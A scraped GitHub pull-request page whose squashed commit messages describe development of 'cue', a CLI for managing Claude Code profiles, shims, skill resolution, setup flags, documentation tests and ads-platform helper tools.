Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(shell): move agent shims to a cue-owned dir, stop clobbering the real claude `cue shell install` wrote its shim to ~/.local/bin/<agent>. The native Claude Code installer owns that path — it's a symlink to ~/.local/share/claude/versions/<v>, and on a native install it is often the only claude on PATH. Installing therefore overwrote the real binary with no backup, after which findRealAgentBin() correctly identified the sole candidate as a cue shim, skipped it, and returned null: cue had nothing left to exec. The PATH-order guard that should have caught this compared against a hardcoded /usr/bin/claude, so it passed vacuously. Shims now live in <configDir>/shims, which cue owns outright and which goes at the front of PATH. cue and the installer stop contending for one path, uninstall becomes a plain delete with nothing to restore, and a Claude auto-update rewrites only the real binary — the shim survives and the next launch picks up the new version. - new src/lib/shim-dir.ts: pure path/string math for the layout, the rc snippet per shell, and PATH position. Shared by installer and resolver. - runInstall resolves real binaries and passes a refuse-if-none gate BEFORE writing, then writes, then removes legacy shims. A failed run can no longer leave fewer working entry points than it started with. - PATH setup: fish gets a new conf.d drop-in (reversible by deleting one file, so no prompt); bash/zsh are asked before an rc is appended. --yes skips the prompt, --no-rc prints the line and writes nothing. - `cue shell uninstall` is wired into run() — it was documented, exported and tested, but never reachable. It never touches ~/.local/bin. - findRealAgentBin skips the shim dir outright and shares the content test with the installer. The old inline /cue\s+launch/i missed the quoted-absolute-path shim form, so a source-clone user's shim was returned as the real binary and cue recursed into itself. - doctor D9 gains an "installed but the dir is not on PATH" error, a real state now that the shims sit somewhere nothing else exports. - install.sh and get.sh carried the same bug. get.sh overwrote the native symlink unconditionally on the curl|sh path; install.sh treated any symlink as "already routes through cue" and silently no-opped. Verified against a pristine HEAD worktree: failing test set byte-identical (11 pre-existing, 0 new). Sandboxed installs confirm the native symlink survives install and uninstall, legacy shims migrate, and a machine with no real agent binary is refused with nothing written. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs(positioning): canonical claim + descriptor, pinned by test * feat(picker): suggestion-first card + unified stack palette The picker opened on a 93-row list and then asked a second question on a second screen ("combine with?"). Three complaints: the list is too long, the combine screen is confusing, and neither explains itself. v2 opens on an answer instead. A card shows the best stack for this directory with the reasons behind it ("90% match - Cargo.toml"), its resource cost, and one obvious key. Everything else - editing, searching, browsing all 93 - lands in ONE palette where the primary and its companions live in the same list, typing fuzzy-filters (so "rc" finds rust-core), and a sticky footer always shows the stack being built. The separate "Pin to this directory?" confirm folds into the card as `p`. The signals were already collected, they just never assembled into an answer. `lib/stack-suggest` fuses cwd detection, combo history, cwd-scoped recents, featured picks and pair affinity into ranked, conflict-free, launchable stacks - plus new workspace path rules (medusa-shops/<shop>, websites/, wordpress, ros2, n8n, terraform, prose-only dirs). It is pure and always answers: with no signal it offers Default and says so. picker.ts does not grow: shared pieces move to lib/picker/{types,selector, render-util,tally,categories} and lib/profile-conflicts, all re-exported from lib/picker so existing imports keep resolving. The classic two-screen flow stays intact behind CUE_PICKER=classic. Tests: 65 new (ranking + fallback chain + path rules, card/palette frames, fuzzy scoring, and live key handling driven through mock streams). The existing 98-test picker suite stays green as the classic regression net. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(plugin): move manifest to .claude-plugin/, add discovery metadata * feat(launch): CUE_ALWAYS_PICK — offer the profile picker on a bare launch A bare `claude` silently resolves through .cue.profile → repo-defaults → default-profile and launches whatever it lands on. That is right for a pinned repo, but leaves no way to *choose* at launch short of remembering `--cue-pick` every time. CUE_ALWAYS_PICK=1 makes the picker the default for a bare interactive launch. The resolved profile still sorts to the top (sortProfileOptions already pins it there), so Enter reproduces the old behavior — the cost is one keystroke, the gain is the choice. Two guards: - an explicit --cue-profile opts out; naming a profile IS the choice - TTY only. Without this, a non-interactive `claude -p "…"` would resolve to "none" and die on "no profile resolved and stdin is not a TTY" instead of using its pin. That would break every scripted launch. Verified in a pty: with the flag the picker opens and waits; without it the same command dry-runs straight through to `core`. Non-TTY and --cue-profile paths both still resolve without prompting. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(plugin): repo-root marketplace.json so /plugin marketplace add works * feat(resolve): on-demand skill resolution across the whole library A profile materializes a fixed skill set at launch. When a task needed one of the other ~450 library skills, four things failed at once, all from the same root: cue had a static materialization step and a bag of heuristics, but no skill-resolution layer. recall the suggest hook only fired when a prompt token was literally a skill NAME or CATEGORY, so "a fizetés nem megy az adminban" never reached the matcher fidelity a soft load is `Read SKILL.md`; the skill's MCPs don't come with it and nothing said so promotion resolving the same skill in the same repo ten times left no trace noticing the reactive path rested on one soft persona rule Three tiers, ordered by cost, sharing one index: Tier 1 smart-loader-suggest.sh — bash, every prompt, 100-152ms measured Tier 2 cue resolve — full scoring, fidelity diff, journal Tier 3 cue resolve --deep — LLM pass over near-misses, cached, opt-in catalog-index.ts derives an enriched index.json from catalog.json, reusing the parsers that already exist rather than reimplementing capability inference in awk: triggers go 122 -> 353 of 452 (mined from description prose), capability 0 -> 448, plus anti-scope as a NEGATIVE score and each skill's MCP deps. The index is the contract between all three tiers — bash reads the flat .idx files with the weights already baked in, so a weight lives in exactly one place. Resolution only ever SUGGESTS. It never injects a skill body, never edits a profile, never writes a loadout — it prints the command that would. The promotion counter reads a local journal (modeled on combo-history: no telemetry gate, since declining telemetry means declining to SEND data, not to remember your own directory) and prints `cue loadout keep` after three resolutions in the same cwd. Also fixes parseClaudeKeep in skill-subset: buildPrompt renders a NUMBERED list, and the classifier answers `KEEP: 1, 3, 10, 12`. Only literal ids were accepted, so every number was filtered out and classification failed open to "kept all skills" — indistinguishable from the classifier being unavailable. This backs `cue launch`'s smart-subset too, where the failure was invisible. Verified: Tier 1 surfaces stripe/* and eu-funding/* from Hungarian prompts carrying no skill name; Tier 3 live returns "4/25 skills kept"; with no reachable claude binary --deep reports unavailable and returns Tier 2 results. 56 new tests, full suite 1727 pass / 0 fail, tsc clean. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(plugin): marketplace dual description + drift-protected test assertions * fix(docs): correct pin-file spelling, repo slug, and profile count Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(docs): close remaining 16-profiles drift and dead README anchor Fix llms.txt's "16 shipped profiles" line to 85 (missed by the earlier literal-string test), add a regex safety net in docs-facts.test.ts to catch any future "16 ... profiles" phrasing, and repoint README.md's nav anchor to #85-ready-made-cuecards after the heading rename. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(test): derive the shipped profile count from git, not disk readdirSync counted whatever profile directories happen to sit on a developer's disk, so an untracked scratch profile (e.g. someone's WIP `profiles/importedprofile/`) could fail a test about documented facts. Count `git ls-files profiles/*/profile.yaml` instead — that's what package.json's files[] actually ships, and what the docs are claiming. Fails loudly if git can't answer rather than silently falling back to a disk count, so this can't reintroduce the same flakiness quietly. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(test): broaden profile-count check to every FACT_FILE claim The count-consistency check only ever compared the git-derived actual count against llms.txt's "N profiles ship by default" phrase, so a real count change with a stale README (heading or "see all N") would stay green. Drive the comparison from a pattern list applied uniformly to every FACT_FILE instead — a file simply gets skipped for a pattern it doesn't contain — and throw a message naming the file, the pattern, and both numbers on mismatch. Also restores the underscore-prefixed profile dir exclusion in shippedProfileCount()'s pathspec-derived count, and drops a redundant .toString() on the already-string stderr. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs(landing): lead with the scoper claim, demote the gems table * docs(marketing): one canonical awesome-list entry * docs(plan): correct stale ~/.local/bin shim path to ~/.config/cue/shims The shim location moved in 947323a; Task 9's /cue-setup text would have shipped the old path. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(cli): cue setup as the single install command setup is a registry alias onto init's existing flow (shim install, project scan, profile pin) so the one-command promise in the README has a name that isn't overloaded by git init / npm init. postinstall now points users at `cue setup` instead of the old two-step `cue shell install` then `cue init`. * feat(cli): surface cue setup in --help, next to init printHelp() is a hand-curated static table, not generated from COMMANDS, so registering the setup alias in the registry alone left it invisible to `cue --help` — the same command the README and plugin slash command point users at. Add a setup line directly above init's (setup is the entry point, init the thing it wraps) and add a narrow regression guard in setup.test.ts so this specific line can't silently vanish again. * feat(setup): show cost proof before the shim permission ask * add tests * add --------- Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
NagyVikt
added a commit
that referenced
this pull request
Jul 26, 2026
… entry (#105) * docs: spec for multi-client Google + Facebook Ads layer (MCPs + CLI via workspaces) Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * docs: implementation plan for multi-client ads layer Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(ads-cli): shared client resolver + secrets scaffolding Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * chore(ads-cli): untrack pycache, add scoped gitignore Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(ads-cli): ads-gen-yaml gaarf config generator Generate <slug>.google-ads.yaml from <slug>-adc.json with developer token, client credentials, and optional login customer ID. Appended 5 tests to verify YAML generation, token inclusion, and error handling. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(ads-cli): fail cleanly when --login-customer-id lacks a value Guard against IndexError when --login-customer-id is the last argument; now prints the standard "error: ..." message instead of a raw traceback. Adds a regression test (pass=11 fail=0). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(ads-cli): gads (gaarf wrapper) and fbads (Graph API) CLIs Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(ads-cli): clean errors for trailing --method and network failures Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(mcps): facebook-ads-mcp token wrapper + mcps gitlink bump (558b207) The gomarble facebook-ads MCP server is cloned at ~/.config/cue/mcp-servers/facebook-ads (pinned 1a9406e); the wrapper reads the Meta system-user token at exec time so it never lands in a config. Submodule branch: recodeee/mcps feat/facebook-ads-mcp. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(profiles): wire facebook-ads-mcp + two-platform client workspaces Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * docs(ads-cli): setup runbook + symlink/gaarf install notes Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(ads-cli): reject bare fbads params; scope workspace claim to google-ads profile Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * chore: repoint resources/mcps gitlink to merged main (ff6898e7) facebook-ads-mcp registration landed via opencue/mcps #7; the gitlink now targets a main commit instead of the feature branch. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * docs(shell): spec for cue-owned shim dir `cue shell install` writes its shim to ~/.local/bin/<agent>, which the native Claude installer owns. On a native-install machine that path is often the only claude on PATH, so install overwrites the real binary with no backup and findRealClaudeBin() is then left with nothing to exec. Design moves the shim to ~/.config/cue/shims/ at the front of PATH, so cue and the native installer stop contending for one path and the shim survives Claude auto-updates. Also covers the unwired `shell uninstall` subcommand and the vacuous PATH-order guard. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs: spec for adoption — one pitch, one command, one install path Positions cue as a scoper, defines two canonical strings and the eight surfaces they land on, adds `cue setup` as the single install command, and packages the existing plugin behind a repo-root marketplace.json so `/plugin marketplace add opencue/cuecards` works at all. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs: implementation plan for adoption positioning + plugin packaging 12 tasks in three gated phases: canonical copy (pins both strings with a drift test), `cue setup` as a registry alias plus the cost proof moved ahead of the shim ask, and the repo-root marketplace manifest that makes `/plugin marketplace add` work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs: agent-paste install becomes the primary path Adds Task 10 (setup/agent-prompt.md, the canonical copy-pasteable prompt) and reworks the README task to lead with it. A test pins the README copy to the canonical file so the two cannot drift. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(shell): move agent shims to a cue-owned dir, stop clobbering the real claude `cue shell install` wrote its shim to ~/.local/bin/<agent>. The native Claude Code installer owns that path — it's a symlink to ~/.local/share/claude/versions/<v>, and on a native install it is often the only claude on PATH. Installing therefore overwrote the real binary with no backup, after which findRealAgentBin() correctly identified the sole candidate as a cue shim, skipped it, and returned null: cue had nothing left to exec. The PATH-order guard that should have caught this compared against a hardcoded /usr/bin/claude, so it passed vacuously. Shims now live in <configDir>/shims, which cue owns outright and which goes at the front of PATH. cue and the installer stop contending for one path, uninstall becomes a plain delete with nothing to restore, and a Claude auto-update rewrites only the real binary — the shim survives and the next launch picks up the new version. - new src/lib/shim-dir.ts: pure path/string math for the layout, the rc snippet per shell, and PATH position. Shared by installer and resolver. - runInstall resolves real binaries and passes a refuse-if-none gate BEFORE writing, then writes, then removes legacy shims. A failed run can no longer leave fewer working entry points than it started with. - PATH setup: fish gets a new conf.d drop-in (reversible by deleting one file, so no prompt); bash/zsh are asked before an rc is appended. --yes skips the prompt, --no-rc prints the line and writes nothing. - `cue shell uninstall` is wired into run() — it was documented, exported and tested, but never reachable. It never touches ~/.local/bin. - findRealAgentBin skips the shim dir outright and shares the content test with the installer. The old inline /cue\s+launch/i missed the quoted-absolute-path shim form, so a source-clone user's shim was returned as the real binary and cue recursed into itself. - doctor D9 gains an "installed but the dir is not on PATH" error, a real state now that the shims sit somewhere nothing else exports. - install.sh and get.sh carried the same bug. get.sh overwrote the native symlink unconditionally on the curl|sh path; install.sh treated any symlink as "already routes through cue" and silently no-opped. Verified against a pristine HEAD worktree: failing test set byte-identical (11 pre-existing, 0 new). Sandboxed installs confirm the native symlink survives install and uninstall, legacy shims migrate, and a machine with no real agent binary is refused with nothing written. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs(positioning): canonical claim + descriptor, pinned by test * feat(picker): suggestion-first card + unified stack palette The picker opened on a 93-row list and then asked a second question on a second screen ("combine with?"). Three complaints: the list is too long, the combine screen is confusing, and neither explains itself. v2 opens on an answer instead. A card shows the best stack for this directory with the reasons behind it ("90% match - Cargo.toml"), its resource cost, and one obvious key. Everything else - editing, searching, browsing all 93 - lands in ONE palette where the primary and its companions live in the same list, typing fuzzy-filters (so "rc" finds rust-core), and a sticky footer always shows the stack being built. The separate "Pin to this directory?" confirm folds into the card as `p`. The signals were already collected, they just never assembled into an answer. `lib/stack-suggest` fuses cwd detection, combo history, cwd-scoped recents, featured picks and pair affinity into ranked, conflict-free, launchable stacks - plus new workspace path rules (medusa-shops/<shop>, websites/, wordpress, ros2, n8n, terraform, prose-only dirs). It is pure and always answers: with no signal it offers Default and says so. picker.ts does not grow: shared pieces move to lib/picker/{types,selector, render-util,tally,categories} and lib/profile-conflicts, all re-exported from lib/picker so existing imports keep resolving. The classic two-screen flow stays intact behind CUE_PICKER=classic. Tests: 65 new (ranking + fallback chain + path rules, card/palette frames, fuzzy scoring, and live key handling driven through mock streams). The existing 98-test picker suite stays green as the classic regression net. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(plugin): move manifest to .claude-plugin/, add discovery metadata * feat(launch): CUE_ALWAYS_PICK — offer the profile picker on a bare launch A bare `claude` silently resolves through .cue.profile → repo-defaults → default-profile and launches whatever it lands on. That is right for a pinned repo, but leaves no way to *choose* at launch short of remembering `--cue-pick` every time. CUE_ALWAYS_PICK=1 makes the picker the default for a bare interactive launch. The resolved profile still sorts to the top (sortProfileOptions already pins it there), so Enter reproduces the old behavior — the cost is one keystroke, the gain is the choice. Two guards: - an explicit --cue-profile opts out; naming a profile IS the choice - TTY only. Without this, a non-interactive `claude -p "…"` would resolve to "none" and die on "no profile resolved and stdin is not a TTY" instead of using its pin. That would break every scripted launch. Verified in a pty: with the flag the picker opens and waits; without it the same command dry-runs straight through to `core`. Non-TTY and --cue-profile paths both still resolve without prompting. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(plugin): repo-root marketplace.json so /plugin marketplace add works * feat(resolve): on-demand skill resolution across the whole library A profile materializes a fixed skill set at launch. When a task needed one of the other ~450 library skills, four things failed at once, all from the same root: cue had a static materialization step and a bag of heuristics, but no skill-resolution layer. recall the suggest hook only fired when a prompt token was literally a skill NAME or CATEGORY, so "a fizetés nem megy az adminban" never reached the matcher fidelity a soft load is `Read SKILL.md`; the skill's MCPs don't come with it and nothing said so promotion resolving the same skill in the same repo ten times left no trace noticing the reactive path rested on one soft persona rule Three tiers, ordered by cost, sharing one index: Tier 1 smart-loader-suggest.sh — bash, every prompt, 100-152ms measured Tier 2 cue resolve — full scoring, fidelity diff, journal Tier 3 cue resolve --deep — LLM pass over near-misses, cached, opt-in catalog-index.ts derives an enriched index.json from catalog.json, reusing the parsers that already exist rather than reimplementing capability inference in awk: triggers go 122 -> 353 of 452 (mined from description prose), capability 0 -> 448, plus anti-scope as a NEGATIVE score and each skill's MCP deps. The index is the contract between all three tiers — bash reads the flat .idx files with the weights already baked in, so a weight lives in exactly one place. Resolution only ever SUGGESTS. It never injects a skill body, never edits a profile, never writes a loadout — it prints the command that would. The promotion counter reads a local journal (modeled on combo-history: no telemetry gate, since declining telemetry means declining to SEND data, not to remember your own directory) and prints `cue loadout keep` after three resolutions in the same cwd. Also fixes parseClaudeKeep in skill-subset: buildPrompt renders a NUMBERED list, and the classifier answers `KEEP: 1, 3, 10, 12`. Only literal ids were accepted, so every number was filtered out and classification failed open to "kept all skills" — indistinguishable from the classifier being unavailable. This backs `cue launch`'s smart-subset too, where the failure was invisible. Verified: Tier 1 surfaces stripe/* and eu-funding/* from Hungarian prompts carrying no skill name; Tier 3 live returns "4/25 skills kept"; with no reachable claude binary --deep reports unavailable and returns Tier 2 results. 56 new tests, full suite 1727 pass / 0 fail, tsc clean. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(plugin): marketplace dual description + drift-protected test assertions * fix(docs): correct pin-file spelling, repo slug, and profile count Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(docs): close remaining 16-profiles drift and dead README anchor Fix llms.txt's "16 shipped profiles" line to 85 (missed by the earlier literal-string test), add a regex safety net in docs-facts.test.ts to catch any future "16 ... profiles" phrasing, and repoint README.md's nav anchor to #85-ready-made-cuecards after the heading rename. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(test): derive the shipped profile count from git, not disk readdirSync counted whatever profile directories happen to sit on a developer's disk, so an untracked scratch profile (e.g. someone's WIP `profiles/importedprofile/`) could fail a test about documented facts. Count `git ls-files profiles/*/profile.yaml` instead — that's what package.json's files[] actually ships, and what the docs are claiming. Fails loudly if git can't answer rather than silently falling back to a disk count, so this can't reintroduce the same flakiness quietly. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(test): broaden profile-count check to every FACT_FILE claim The count-consistency check only ever compared the git-derived actual count against llms.txt's "N profiles ship by default" phrase, so a real count change with a stale README (heading or "see all N") would stay green. Drive the comparison from a pattern list applied uniformly to every FACT_FILE instead — a file simply gets skipped for a pattern it doesn't contain — and throw a message naming the file, the pattern, and both numbers on mismatch. Also restores the underscore-prefixed profile dir exclusion in shippedProfileCount()'s pathspec-derived count, and drops a redundant .toString() on the already-string stderr. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs(landing): lead with the scoper claim, demote the gems table * docs(marketing): one canonical awesome-list entry * docs(plan): correct stale ~/.local/bin shim path to ~/.config/cue/shims The shim location moved in 947323a; Task 9's /cue-setup text would have shipped the old path. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(cli): cue setup as the single install command setup is a registry alias onto init's existing flow (shim install, project scan, profile pin) so the one-command promise in the README has a name that isn't overloaded by git init / npm init. postinstall now points users at `cue setup` instead of the old two-step `cue shell install` then `cue init`. * feat(cli): surface cue setup in --help, next to init printHelp() is a hand-curated static table, not generated from COMMANDS, so registering the setup alias in the registry alone left it invisible to `cue --help` — the same command the README and plugin slash command point users at. Add a setup line directly above init's (setup is the entry point, init the thing it wraps) and add a narrow regression guard in setup.test.ts so this specific line can't silently vanish again. * feat(setup): show cost proof before the shim permission ask * add tests * add * fix(setup): scope cost --compare to two rows, harden cost-proof failure path Review findings on the cost-proof-before-shim change: - cost.ts: `--compare` discarded the parsed profile name and always dumped every profile. Thread it through as an optional target that scopes the table to just that profile vs `full`, falling back to the all-profiles view when the target isn't loadable or `full` is missing. - init.ts: showCostProof's catch was empty, so a failed cost run left a dangling intro line with no explanation right before the shim permission ask. Emit a one-line warning instead, mirroring ensureShim's own pattern. - init-cost-proof.test.ts: replace the tautological `expect(true).toBe(true)` with an assertion on showCostProof's actual contract (resolves, never rejects). * test(install-sh): follow the shims to their new home The install.sh smoke test is CI-only (skipIf(!CI)), so moving the agent shims out of SHIM_DIR and into CUE_SHIMS passed locally and only broke on the runner. It asserted the shim at SHIM_DIR/claude and matched the exact string `exec cue launch claude`, which install.sh no longer writes — it now execs an absolute path to bin/cue. Point the test at CUE_SHIMS, assert on `launch claude` (present in both invocation forms, matching shell.test.ts), and add the inverse assertion: SHIM_DIR must NOT gain a claude, since on a native install that path is the real binary. Exercised against install.sh directly with the same env the test builds: exit 0, cue symlinked into SHIM_DIR, claude shim in CUE_SHIMS only. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(plugin): /cue-setup entry point + CLI preconditions A marketplace install has no `cue` binary yet, so all six existing slash commands died with a raw `command not found`. Add /cue-setup as the entry point (delegates entirely to `cue setup`, never reimplements its steps) and append a precondition check to the other six commands so they fail with actionable guidance instead. * feat(init): non-interactive --profile/--yes for cue init/setup An agent driving `cue setup` through a one-shot Bash tool cannot answer a @clack/prompts p.select/p.confirm/p.text widget — the call hangs (or crashes on EOF with stdin closed). Add --profile <name> (skip only the selection menu, error non-zero on an unknown name) and --yes/-y (skip every remaining prompt too), unblocking the /cue-setup and agent-paste install paths that depend on this. --yes deliberately does NOT grant everything: runGlobalOnboarding() and offerDiscoverGems() are restructured to take an explicit nonInteractive mode rather than a threaded boolean, so telemetry consent and third-party gem installs — two questions the user never saw asked — stay off/skipped by construction, not by every call site remembering to check a flag. The shim install IS performed under --yes, since unblocking that is the flag's whole point. Verified with stdin closed in a temp dir (cue setup --profile core --yes < /dev/null): completes with exit 0, no telemetry-consent file, no gem installer invocation, real $HOME untouched. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(init): make the gem-skip test discriminate + cover the real shim install Review found two test gaps in the non-interactive cue init/setup path: 1. The gem-skip test seeded discover.ts's cache at the WRONG path (config-paths.ts's cacheDir(), <XDG_CACHE_HOME>/cue/) — the real getCachedGemsForProfile() reads discover.ts's own cacheDir() (<XDG_CONFIG_HOME>/cue/discover/). The seed never landed where the lookup reads, so the test passed even with the nonInteractive early-return deleted from offerDiscoverGems() — it proved nothing. Fixed by exporting discover.ts's cacheFile() and having the test derive the seed path from it directly, so the two can't diverge again. Verified by deleting the guard: the test now HANGS (reaches the real p.confirm prompt) instead of silently passing; restored, it passes again. 2. Every test pre-seeded a valid shim, so ensureShim()'s shimInstalled() guard always short-circuited before the nonInteractive branch that calls runInstall({ yes: true }) — the one thing --yes actually DOES was covered only by the manual stdin-closed check, never by the unit suite. Gave ensureShim() (and run(), via a new optional RunDeps.shim) the same homeDir/realClaude/ realCodex/pathDirs/out/err injection seam shell.test.ts already drives runInstall() with, and added one hermetic test that points at a separate, unseeded fake home and asserts the shim file is actually written. Also: threaded { nonInteractive: yes, ...deps.shim } into the "__new" create-profile branch (unreachable under --yes today, but no longer a latent trap); made `--profile` with a missing/flag-shaped value an explicit error instead of silently behaving as if the flag were never passed; updated init.test.ts's now-stale "no hermetically testable surface" comment. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(plugin): /cue-setup around non-interactive cue init, drop stale shim path cue setup is built on @clack/prompts TUI widgets that block on a TTY read, so an agent driving it through a one-shot Bash call could never answer its prompts as the previous cue-setup.md instructed — it would hang until timeout. Rewrite the flow around the new --profile/--yes non-interactive path: the agent runs `cue auto-detect --json`, lets the user pick a profile in chat, then runs `cue setup --profile <chosen> --yes`, which pins the profile and installs the shim without touching telemetry consent or third-party gem installs. Also repoint cue-reload.md off the stale `~/.local/bin/claude` (owned by the native Claude installer) to the cue-owned `~/.config/cue/shims/claude`, and fold its missing-shim fallback into the same /cue-setup install narrative as the other commands. Strengthen plugin-commands.test.ts so it asserts the actual flow landed (auto-detect --json, setup --profile, --yes) and locks out both regressions by asserting the absence of the old ~/.local/bin path and the old "relay its prompts" wording. * docs(plan): rewrite the paste prompt around the non-interactive setup path The original prompt told the agent to relay cue setup's interactive prompts, which cannot work through a one-shot Bash call. Replaced with the auto-detect --json -> user picks in chat -> setup --profile --yes flow that Task 9a made possible. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(setup): canonical agent-paste install prompt * docs(readme): agent-paste install above the fold Move Install to the first ## heading (agent-paste prompt promoted from a buried table row, typed-it-yourself npm command second), inline the Task 10 agent-prompt.md block verbatim, and delete the old Install table / Quickstart section from further down the file. The four-path table survives collapsed in a <details>; the profile-pinning example moves up under the new Install section. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs(readme): fix review round — restore demo gif, disambiguation line, dangling ref - Restore the demo.gif <p align="center"> block (dropped in the prior restructure with no replacement) directly before ## Why this exists, right after the new Install section — proof follows the install step, matching its original position in the doc. - Restore the "package cue-ai · command cue · repo opencue/cuecards" disambiguation line, dropped with no replacement, in the Install section's explanation paragraph. - Fix the ## Shell setup cross-reference to the now-deleted Quickstart section (`cue shell install (Quickstart step 2)` -> `cue setup (or cue shell install on its own)`). - setup/agent-prompt.md step 5: add a stop-and-report instruction for a non-zero `cue setup --profile ... --yes` exit, mirroring step 1's Node-version failure handling. Re-spliced the same block into README.md programmatically so the two stay character-for-character identical, per agent-prompt.test.ts. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs(readme): move API and shell internals to docs/ Slims the README further after the Task 11 restructure — the marketplace API-token workflow and ~90 lines of shell-shim internals are power-user material nobody needs to get started. Moved verbatim to docs/marketplace-api.md and docs/shell-setup.md, linked from README's Deep dives table, and repointed the one FAQ bullet that anchored to the now-removed #api heading. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix: whole-branch review fixes for adoption/positioning work Cross-cutting defects only visible reading the whole branch at once: - setup/agent-prompt.md, plugins/cue/commands/cue-setup.md: name that `cue setup --yes` appends a PATH line to the user's shell rc — the one mutation outside cue's own config dir that every enumeration omitted. Re-spliced the README's inlined copy programmatically to stay byte-identical (agent-prompt.test.ts enforces this). - src/commands/init.ts: `ensureShim()` now reports whether a shim actually ended up installed; `run()` propagates that as a non-zero exit under `--yes` when the shim install fails (e.g. no claude/codex binary present), instead of warning and still claiming success. Interactive decline still exits 0. The outro message no longer promises "Next `claude` launch will use it" when the shim isn't in place. - src/commands/list.ts: `--json` was a no-op — three plugin commands (cue.md, cue-switch.md, cue-setup.md) already depend on it to enumerate and validate profile names, but got ANSI text instead. Implemented a plain JSON array (name/icon/description/skillCount/mcpCount/featured). - docs/index.md: Install section still taught the retired `cue discover search`/`install` flow, which installs nothing. Replaced with `npm install -g cue-ai && cue setup` + a pointer to the agent-paste prompt. - docs/llms-full.txt: fixed `.cue-profile` -> `.cue.profile`, the stale `opencue/claude-code-skills` slug, the retired top-line pitch, and a 16-profiles claim that had drifted to 85; added this file to docs-facts.test.ts's FACT_FILES so it stays covered. - docs/landing/index.html: title/description/tagline strings still carried the retired package.json pitch this branch replaced everywhere else. - docs/data/profiles.md: regenerated via scripts/gen-profile-catalog.ts — 83 -> 85 (two profiles, `legal` and `ros2`, were missing from the last generated catalog). Tests: 2848 pass / 0 fail (was 2845; +3 new tests). Lint: exit 0. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix: repoint self-referencing opencue/claude-code-skills slug to opencue/cuecards The repo was renamed (origin is now opencue/cuecards) but the old slug was still hardcoded as an operational target across install scripts, gh CLI calls (feedback, submit-profile fork), the star-prompt repo constant, the score badge SVG, GitHub Actions, and CITATION.cff — not just stale docs. Also fixes skills/cue-agent-profile-manager/SKILL.md's npm install line, which pointed at a package that was never published (@opencue/claude-code-skills) instead of the real cue-ai package. Leaves the sibling opencue/claude-code-skills-profiles registry slug untouched (different repo, rename unconfirmed) and does not touch docs/discovered/** or docs/superpowers/**. Extends the existing docs-facts.test.ts slug guard with a dedicated file list covering every surface fixed here, kept separate from FACT_FILES so it can't leak into the unrelated .cue-profile/profile- count checks in the same file. --------- Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
ROI follow-ups + bigger bets (stacked on #6)
What's here
